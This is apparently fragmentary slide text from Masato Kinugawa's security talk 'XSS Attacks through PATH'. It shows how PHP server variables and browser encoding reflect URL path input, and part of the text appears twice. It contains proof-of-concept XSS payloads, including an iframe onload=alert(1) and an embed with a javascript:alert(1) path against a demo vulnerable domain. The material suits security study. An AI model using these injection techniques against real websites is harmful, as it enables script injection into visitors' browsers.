XSS Attacks through PATH

FIRST H A L F

https://host/tags/aaa/ ... </head> <body> <form> <input type="text" value="aaa"> ...

... </head> <meta property="og:url" content="https://host/path/index"> <body> ... https://host/path/index?p=1

... </head> <meta property="og:url" content="https://host/path/index;aaa"> <body> ... https://host/path/index;aaa?p=1

http://php.net/index.php http://php.net/index.php/xxx/yyy/zzz

http://shibuyaxss.connpass.com/event/28232/ http://shibuyaxss.connpass.com/event/28232/;abc

SCRIPT_URL /test.php/<b>PATH</b> SCRIPT_URI http://localhost/test.php/<b>PATH</b> PATH_INFO /<b>PATH</b> PATH_TRANSLATED \<b>PATH<\b> PHP_SELF /test.php/<b>PATH</b>

GET /path?query HTTP/1.1 The URI which was given in order
to access this page; for instance, '/index.html'. http://php.net/manual/ja/reserved.variables.server.php

/test.php/<b>PATH</b>?<b>QUERY</b> GET /test.php/%3Cb%3EPATH%3C/b%3E?%3Cb%3EQUERY% 3C/b%3E HTTP/1.1 QUERY_STRING %3Cb%3EQUERY%3C/b%3E REQUEST_URI /test.php/%3Cb%3EPATH%3C/b%3E? %3Cb%3EQUERY%3C/b%3E

/test.php/%3Cb%3EPATH%3C/b%3E?<b>QUERY</b> GET /test.php/%3Cb%3EPATH%3C/b%3E?<b>QUERY</b> HTTP/1.1 QUERY_STRING <b>QUERY</b> REQUEST_URI /test.php/%3Cb%3EPATH%3C/b%3E?<b>QUERY</b>

http://localhost/test.php/<b>PATH</b> GET /test.php/<b>PATH</b> HTTP/1.1

/test.php/%3Cb%3EPATH%3C/b%3E GET /test.php/<b>PATH</b> HTTP/1.1 REQUEST_URI /test.php/<b>PATH</b> location.pathname /test.php/%3Cb%3EPATH%3C/b%3E

LATER H A L F

HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 X-UA-Compatible: IE=9 <head> <meta
http-equiv="X-UA-Compatible" content="IE=9"> </head>

ifr=document.createElement('<iframe onload=alert(1)>'); document.body.appendChild(ifr); InvalidCharacterError

XSS Attacks through PATH

XSS Attacks through PATH

Masato Kinugawa

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FIRST H A L F

https://host/tags/aaa/ ... </head> <body> <form> <input type="text" value="aaa"> ...

... </head> <meta property="og:url" content="https://host/path/index"> <body> ... https://host/path/index?p=1

... </head> <meta property="og:url" content="https://host/path/index;aaa"> <body> ... https://host/path/index;aaa?p=1

http://php.net/index.php http://php.net/index.php/xxx/yyy/zzz

http://shibuyaxss.connpass.com/event/28232/ http://shibuyaxss.connpass.com/event/28232/;abc

SCRIPT_URL /test.php/<b>PATH</b> SCRIPT_URI http://localhost/test.php/<b>PATH</b> PATH_INFO /<b>PATH</b> PATH_TRANSLATED \<b>PATH<\b> PHP_SELF /test.php/<b>PATH</b>

GET /path?query HTTP/1.1 The URI which was given in order

/test.php/<b>PATH</b>?<b>QUERY</b> GET /test.php/%3Cb%3EPATH%3C/b%3E?%3Cb%3EQUERY% 3C/b%3E HTTP/1.1 QUERY_STRING %3Cb%3EQUERY%3C/b%3E REQUEST_URI /test.php/%3Cb%3EPATH%3C/b%3E? %3Cb%3EQUERY%3C/b%3E

/test.php/%3Cb%3EPATH%3C/b%3E?<b>QUERY</b> GET /test.php/%3Cb%3EPATH%3C/b%3E?<b>QUERY</b> HTTP/1.1 QUERY_STRING <b>QUERY</b> REQUEST_URI /test.php/%3Cb%3EPATH%3C/b%3E?<b>QUERY</b>

http://localhost/test.php/<b>PATH</b> GET /test.php/<b>PATH</b> HTTP/1.1

/test.php/%3Cb%3EPATH%3C/b%3E GET /test.php/<b>PATH</b> HTTP/1.1 REQUEST_URI /test.php/<b>PATH</b> location.pathname /test.php/%3Cb%3EPATH%3C/b%3E

LATER H A L F

HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 X-UA-Compatible: IE=9 <head> <meta

<svg> <circle cx="100" cy="100" r="50" fill="red"/> </svg>

ifr=document.createElement('<iframe onload=alert(1)>'); document.body.appendChild(ifr); InvalidCharacterError

<meta http-equiv="X-UA-Compatible" content="IE=9"> <script> console.log(document.documentMode) /* 9 */ </script> <iframe

<meta http-equiv="X-UA-Compatible" content="IE=9"> <embed src="http://shibuya.vulnerabledoma.in/javascript:alert(1)/% 2F..%2F..%2Fjizen2#hash"></embed>

<script src="//ajax.googleapis.com/ajax/libs/jquerymobile/1.4.5/jquery.mobile.min.js"> </script>